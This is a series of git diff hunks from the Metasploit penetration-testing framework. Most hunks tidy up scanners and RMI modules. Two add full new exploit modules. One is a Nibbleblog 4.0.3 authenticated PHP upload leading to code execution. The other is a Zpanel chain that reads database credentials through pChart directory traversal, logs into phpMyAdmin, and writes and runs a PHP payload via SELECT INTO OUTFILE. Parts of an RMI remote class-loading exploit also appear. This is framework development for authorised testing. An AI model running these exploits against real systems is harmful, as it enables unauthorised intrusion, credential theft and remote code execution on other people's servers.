exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
||||
[Rex::Java::Serialization::Model::NullReference, Rex::Java::Serialization::Model::Reference].include?(exception.class_data[0].class) &&
|
||||
!exception.class_data[1].contents.include?('RMI class loader disabled')
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -25,14 +25,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
begin
|
||||
res = connect
|
||||
connect
|
||||
banner = sock.get_once(-1, 30)
|
||||
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)
|
||||
print_status("#{ip}:#{rport} POP3 #{banner_sanitized}")
|
||||
report_service(:host => rhost, :port => rport, :name => "pop3", :info => banner)
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::EOFError
|
||||
print_error("#{ip}:#{rport} - The service failed to respond")
|
||||
rescue ::Exception => e
|
||||
print_error("#{rhost}:#{rport} #{e} #{e.backtrace}")
|
||||
print_error("#{ip}:#{rport} - #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -121,6 +121,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
framework_module: self,
|
||||
)
|
||||
|
||||
scanner.verbosity = :debug if datastore['SSH_DEBUG']
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
|
|
|
@ -214,6 +214,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
framework_module: self,
|
||||
)
|
||||
|
||||
scanner.verbosity = :debug if datastore['SSH_DEBUG']
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
|
|
|
@ -36,16 +36,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run_host(target_host)
|
||||
connect
|
||||
|
||||
begin
|
||||
connect
|
||||
vnc = Rex::Proto::RFB::Client.new(sock)
|
||||
if not vnc.handshake
|
||||
raise RuntimeError.new("Handshake failed: #{vnc.error}")
|
||||
unless vnc.handshake
|
||||
print_error("#{target_host}:#{rport} - Handshake failed: #{vnc.error}")
|
||||
return
|
||||
end
|
||||
|
||||
ver = "#{vnc.majver}.#{vnc.minver}"
|
||||
print_status("#{target_host}:#{rport}, VNC server protocol version : #{ver}")
|
||||
print_status("#{target_host}:#{rport} - VNC server protocol version: #{ver}")
|
||||
svc = report_service(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
|
@ -55,8 +55,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
type = vnc.negotiate_authentication
|
||||
if not type
|
||||
raise RuntimeError.new("Auth negotiation failed: #{vnc.error}")
|
||||
unless type
|
||||
print_error("#{target_host}:#{rport} - Auth negotiation failed: #{vnc.error}")
|
||||
return
|
||||
end
|
||||
|
||||
# Show the allowed security types
|
||||
|
@ -64,10 +65,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vnc.auth_types.each { |type|
|
||||
sec_type << Rex::Proto::RFB::AuthType.to_s(type)
|
||||
}
|
||||
print_status("#{target_host}:#{rport}, VNC server security types supported : #{sec_type.join(",")}")
|
||||
print_status("#{target_host}:#{rport} - VNC server security types supported: #{sec_type.join(",")}")
|
||||
|
||||
if (vnc.auth_types.include? Rex::Proto::RFB::AuthType::None)
|
||||
print_good("#{target_host}:#{rport}, VNC server security types includes None, free access!")
|
||||
print_good("#{target_host}:#{rport} - VNC server security types includes None, free access!")
|
||||
report_vuln(
|
||||
{
|
||||
:host => rhost,
|
||||
|
@ -78,11 +79,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:exploited_at => Time.now.utc
|
||||
})
|
||||
end
|
||||
|
||||
rescue RuntimeError
|
||||
print_error("#{target_host}:#{rport}, #{$!}")
|
||||
raise $!
|
||||
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
|
|
|
@ -277,4 +277,8 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
send_response(cli, @pl)
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -107,6 +107,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
def exploit
|
||||
@pl = generate_payload_exe
|
||||
if @pl.blank?
|
||||
|
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
This module exploits an anonymous remote code execution vulnerability on D-Link DIR-605L routers. The
|
||||
vulnerability exists while handling user supplied captcha information, and is due to the
|
||||
insecure usage of sprintf on the getAuthCode() function. This module has been tested
|
||||
successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment.
|
||||
successfully on D-Link DIR-605L firmware 1.13 (emulated) and firmware 1.12 (real).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'DLink DIR-605L 1.13',
|
||||
[ 'D-Link DIR-605L 1.13', # Works on 1.12 as well
|
||||
{
|
||||
'Offset' => 94,
|
||||
'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner
|
||||
|
|
|
@ -148,6 +148,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
#task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
|
||||
#instead we use a CFML filedropper to embed our payload and execute it.
|
||||
#this also removes the dependancy of using the probe.cfm to execute the file.
|
||||
|
|
|
@ -326,6 +326,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
def detect_platform(res)
|
||||
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
||||
|
|
|
@ -0,0 +1,160 @@
|
|||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Nibbleblog File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
Nibbleblog contains a flaw that allows a authenticated remote
|
||||
attacker to execute arbitrary PHP code. This module was
|
||||
tested on version 4.0.3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
|
||||
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
|
||||
],
|
||||
'DisclosureDate' => 'Sep 01 2015',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['Nibbleblog 4.0.3', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def check
|
||||
cookie = do_login(username, password)
|
||||
return Exploit::CheckCode::Detected unless cookie
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'controller' => 'settings',
|
||||
'action' => 'general'
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def do_login(user, pass)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin.php')
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
|
||||
|
||||
session_cookie = res.get_cookies
|
||||
vprint_status("#{peer} - Logging in...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin.php'),
|
||||
'cookie' => session_cookie,
|
||||
'vars_post' => {
|
||||
'username' => user,
|
||||
'password' => pass
|
||||
}
|
||||
)
|
||||
|
||||
return session_cookie if res && res.code == 302 && res.headers['Location']
|
||||
nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
|
||||
print_error("Target does not appear to be vulnerable.")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Authenticating using #{username}:#{password}")
|
||||
|
||||
cookie = do_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
|
||||
vprint_good("#{peer} - Authenticated with Nibbleblog.")
|
||||
|
||||
vprint_status("#{peer} - Preparing payload...")
|
||||
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
|
||||
data.add_part('My image', nil, nil, 'form-data; name="title"')
|
||||
data.add_part('4', nil, nil, 'form-data; name="position"')
|
||||
data.add_part('', nil, nil, 'form-data; name="caption"')
|
||||
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
|
||||
data.add_part('1', nil, nil, 'form-data; name="image_resize"')
|
||||
data.add_part('230', nil, nil, 'form-data; name="image_width"')
|
||||
data.add_part('200', nil, nil, 'form-data; name="image_height"')
|
||||
data.add_part('auto', nil, nil, 'form-data; name="image_option"')
|
||||
post_data = data.to_s
|
||||
|
||||
vprint_status("#{peer} - Uploading payload...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'admin.php'),
|
||||
'vars_get' => {
|
||||
'controller' => 'plugins',
|
||||
'action' => 'config',
|
||||
'plugin' => 'my_image'
|
||||
},
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data,
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
|
||||
fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
|
||||
elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
|
||||
fail_with(Failure::Unknown, 'Unable to upload payload.')
|
||||
end
|
||||
|
||||
vprint_good("#{peer} - Uploaded the payload.")
|
||||
|
||||
php_fname = 'image.php'
|
||||
payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
|
||||
vprint_status("#{peer} - Parsed response.")
|
||||
|
||||
register_files_for_cleanup(php_fname)
|
||||
vprint_status("#{peer} - Executing the payload at #{payload_url}.")
|
||||
send_request_cgi(
|
||||
'uri' => payload_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
end
|
||||
end
|
|
@ -170,6 +170,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
send_response(cli, @pl)
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
print_status "#{peer} - Uploading payload ..."
|
||||
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
|
||||
|
|
|
@ -343,6 +343,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
send_response(cli, @pl)
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
# wait for the data to be sent
|
||||
def wait_payload
|
||||
print_status("#{rhost}:#{rport} - Waiting for the victim to request the payload...")
|
||||
|
|
|
@ -0,0 +1,297 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/php_exe'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::PhpEXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Zpanel Remote Unauthenticated RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an information disclosure vulnerability
|
||||
found in Zpanel <= 10.1.0. The vulnerability is due to a
|
||||
vulnerable version of pChart allowing remote, unauthenticated,
|
||||
users to read arbitrary files found on the filesystem. This
|
||||
particular module utilizes this vulnerability to identify the
|
||||
username/password combination of the MySQL instance. With the
|
||||
credentials the attackers can login to PHPMyAdmin and execute
|
||||
SQL commands to drop a malicious payload on the filesystem and
|
||||
call it leading to remote code execution.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'dawn isabel',
|
||||
'brad wolfe',
|
||||
'brent morris',
|
||||
'james fitts'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-2097' ],
|
||||
[ 'EDB', '31173' ], # pChart
|
||||
[ 'OSVDB', '102595' ], # pChart
|
||||
[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
|
||||
[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 30 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_setting(res, setting_name)
|
||||
n = ::Nokogiri::HTML(res.body)
|
||||
spans = n.search('//code//span//span')
|
||||
found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
|
||||
val = found_element.next.next.text
|
||||
val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
|
||||
end
|
||||
|
||||
def get_user(res)
|
||||
get_setting(res, 'user')
|
||||
end
|
||||
|
||||
def get_passwd(res)
|
||||
get_setting(res, 'pass')
|
||||
end
|
||||
|
||||
def get_dbname(res)
|
||||
get_setting(res, 'dbname')
|
||||
end
|
||||
|
||||
def dot_dot_slash(uri)
|
||||
res = send_request_cgi({
|
||||
'method' =>'GET',
|
||||
'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
|
||||
'vars_get' => {
|
||||
'Action' => 'View',
|
||||
'Script' => '../../../../cnf/db.php'
|
||||
}
|
||||
})
|
||||
|
||||
uname = get_user(res)
|
||||
passwd = get_passwd(res)
|
||||
dbname = get_dbname(res)
|
||||
|
||||
return uname, passwd, dbname
|
||||
end
|
||||
|
||||
def get_token_from_form(res)
|
||||
hidden_inputs = res.get_hidden_inputs
|
||||
hidden_inputs.first['token']
|
||||
end
|
||||
|
||||
def get_token_from_url(url)
|
||||
u = URI(url)
|
||||
u.query.split('&').each do |param|
|
||||
param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
|
||||
return param_value if param_name == 'token'
|
||||
end
|
||||
|
||||
''
|
||||
end
|
||||
|
||||
def grab_sess_and_token(uri)
|
||||
print_status('Attempting to get PHPSESSIONID')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("#{uri}"),
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
|
||||
end
|
||||
|
||||
cookies = res.get_cookies
|
||||
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
|
||||
|
||||
if sid.length > 0
|
||||
print_good('PHPSESSID identified!')
|
||||
print_good("PHPSESSID = #{sid.split("=")[1]}")
|
||||
|
||||
print_status('Attempting to get CSRF token')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||
'Cookie' => "#{sid}"
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
|
||||
end
|
||||
|
||||
token = get_token_from_form(res)
|
||||
cookies = res.get_cookies
|
||||
|
||||
cookies = cookies.split('; ')
|
||||
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"
|
||||
|
||||
if token.length > 0
|
||||
print_good('CSRF token identified!')
|
||||
print_good("CSRF token = #{token}")
|
||||
return cookies, token, sid
|
||||
else
|
||||
print_error('CSRF token could not be identified...')
|
||||
end
|
||||
else
|
||||
print_error('PHPSESSID could not be identified...')
|
||||
end
|
||||
end
|
||||
|
||||
def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
|
||||
old_cookies = cookies
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||
'cookie' => cookies,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers'=>
|
||||
{
|
||||
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
|
||||
},
|
||||
'vars_post' => {
|
||||
'pma_username' => uname,
|
||||
'pma_password' => passwd,
|
||||
'server' => '1',
|
||||
'lang' => 'en',
|
||||
'collation_connection' => 'utf8_general_ci',
|
||||
'token' => token
|
||||
}
|
||||
})
|
||||
|
||||
cookies = "#{res.get_cookies}"
|
||||
|
||||
old_cookies = old_cookies.split("; ")
|
||||
cookies = cookies.split("; ")
|
||||
|
||||
new_cookies = "#{old_cookies[0]}; "
|
||||
new_cookies << "#{old_cookies[1]}; "
|
||||
new_cookies << "#{old_cookies[2]}; "
|
||||
new_cookies << "#{old_cookies[3]}; "
|
||||
new_cookies << "#{cookies[0]}; "
|
||||
new_cookies << "#{cookies[1]} "
|
||||
new_cookies << "#{sess_id}"
|
||||
|
||||
token = get_token_from_url(res['Location'])
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
|
||||
'cookie' => new_cookies,
|
||||
'vars_get' => {
|
||||
'token' => token
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
|
||||
end
|
||||
|
||||
if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
|
||||
print_good('PHPMyAdmin login successful!')
|
||||
return new_cookies, token
|
||||
end
|
||||
end
|
||||
|
||||
def do_sql(cookies, token, uri)
|
||||
fname = "#{rand_text_alpha_upper(5)}.php"
|
||||
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
|
||||
'cookie' => cookies,
|
||||
'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
|
||||
},
|
||||
'vars_post' => {
|
||||
'is_js_confirmed' => '0',
|
||||
'token' => token,
|
||||
'pos' => '0',
|
||||
'goto' => 'server_sql.php',
|
||||
'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
|
||||
'prev_sql_query' => '',
|
||||
'sql_query' => sql_stmt,
|
||||
'sql_delimiter' => ';',
|
||||
'show_query' => '1',
|
||||
'ajax_request' => 'true',
|
||||
'_nocache' => rand.to_s[2..19].to_i
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
|
||||
end
|
||||
|
||||
if res.body =~ /"success":true/
|
||||
print_good("'#{fname}' successfully uploaded")
|
||||
print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
|
||||
print_status("Executing '#{fname}' on the remote host")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method'=>'GET',
|
||||
'uri'=>normalize_uri("#{uri}", "#{fname}")
|
||||
})
|
||||
else
|
||||
print_error("#{res.body.to_s}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Checking pChart
|
||||
res = send_request_cgi({
|
||||
'method'=> 'GET',
|
||||
'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
|
||||
})
|
||||
|
||||
# if pChart is vuln version
|
||||
if res.body =~ /pChart 2\.x/
|
||||
uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
|
||||
if uname.length > 0 && passwd.length > 0
|
||||
print_good('Directory traversal successful, Username/Password identified!')
|
||||
print_good("Username: #{uname}")
|
||||
print_good("Password: #{passwd}")
|
||||
print_good("DB Name: #{db_name}")
|
||||
cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
|
||||
print_status('Logging into PHPMyAdmin now')
|
||||
cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
|
||||
print_status('Uploading malicious payload now')
|
||||
do_sql(cookies, token, "#{datastore['URI']}")
|
||||
else
|
||||
print_error('It appears that the directory traversal was unsuccessful...')
|
||||
end
|
||||
else
|
||||
print_error("It appears that the version of pChart is not vulnerable...")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -32,6 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2015-7709' ],
|
||||
[ 'EDB', '37600' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jul/54' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Stance' => Msf::Exploit::Stance::Aggressive,
|
||||
|
@ -552,4 +555,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_files_for_cleanup("c:\\#{@down_file}.exe")
|
||||
end
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Java::Rmi::Client
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
|
||||
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
|
||||
], self.class)
|
||||
|
||||
register_common_rmi_ports_and_services
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
|
@ -93,6 +93,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
def autofilter
|
||||
return true
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
|
||||
|
@ -141,7 +145,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
|
||||
end
|
||||
|
||||
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
# First try to connect to the original RHOST, since the mbean address may be inaccessible
|
||||
begin
|
||||
connect(true, { 'RPORT' => mbean_server[:port] })
|
||||
rescue Rex::ConnectionError
|
||||
# If that fails, try connecting to the listed address instead
|
||||
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
|
||||
end
|
||||
|
||||
unless is_rmi?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
|
||||
end
|
||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Java::Rmi::Client
|
||||
include Msf::Exploit::Remote::Java::Rmi::Client
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
This module takes advantage of the default configuration of the RMI Registry and
|
||||
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
|
||||
invokes a method in the RMI Distributed Garbage Collector which is available via every
|
||||
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
|
||||
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
|
||||
(custom) RMI endpoints as well.
|
||||
|
||||
Note that it does not work against Java Management Extension (JMX) ports since those do
|
||||
|
@ -82,11 +82,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
))
|
||||
register_options([
|
||||
Opt::RPORT(1099),
|
||||
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([ 1098, 1099 ])
|
||||
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
|
||||
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
|
||||
], self.class)
|
||||
register_common_rmi_ports_and_services
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -97,12 +95,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# RuntimeError so it won't wait the full wfs_delay
|
||||
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
|
||||
rescue Msf::Exploit::Failed
|
||||
# When the server stops due primer failing, re-raise
|
||||
# When the server stops due primer failing, re-raise
|
||||
# RuntimeError so it won't wait the full wfs_delays
|
||||
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
|
||||
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
|
||||
# When the primer fails due to an error connecting with
|
||||
# the rhost, re-raise RuntimeError so it won't wait the
|
||||
# the rhost, re-raise RuntimeError so it won't wait the
|
||||
# full wfs_delays
|
||||
raise ::RuntimeError, e.message
|
||||
end
|
||||
|
@ -150,28 +148,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
uid_time: 0,
|
||||
uid_count: 0,
|
||||
operation: 0,
|
||||
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
|
||||
hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
|
||||
arguments: build_dgc_clean_args(new_url)
|
||||
)
|
||||
|
||||
return_value = recv_return
|
||||
|
||||
if return_value.nil? && !session_created?
|
||||
fail_with(Failure::Unknown, 'RMI Call failed')
|
||||
fail_with(Failure::Unknown, 'RMI Call failed')
|
||||
end
|
||||
|
||||
if return_value && return_value.is_exception? && loader_disabled?(return_value)
|
||||
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
|
||||
fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled')
|
||||
end
|
||||
|
||||
if return_value && return_value.is_exception? && class_not_found?(return_value)
|
||||
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
|
||||
fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload')
|
||||
end
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
def on_request_uri(cli, request)
|
||||
if request.uri =~ /\.jar$/i
|
||||
p = regenerate_payload(cli)
|
||||
jar = p.encoded_jar
|
||||
|
@ -202,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if exception.class == Rex::Java::Serialization::Model::NewObject &&
|
||||
exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc &&
|
||||
exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&&
|
||||
exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference &&
|
||||
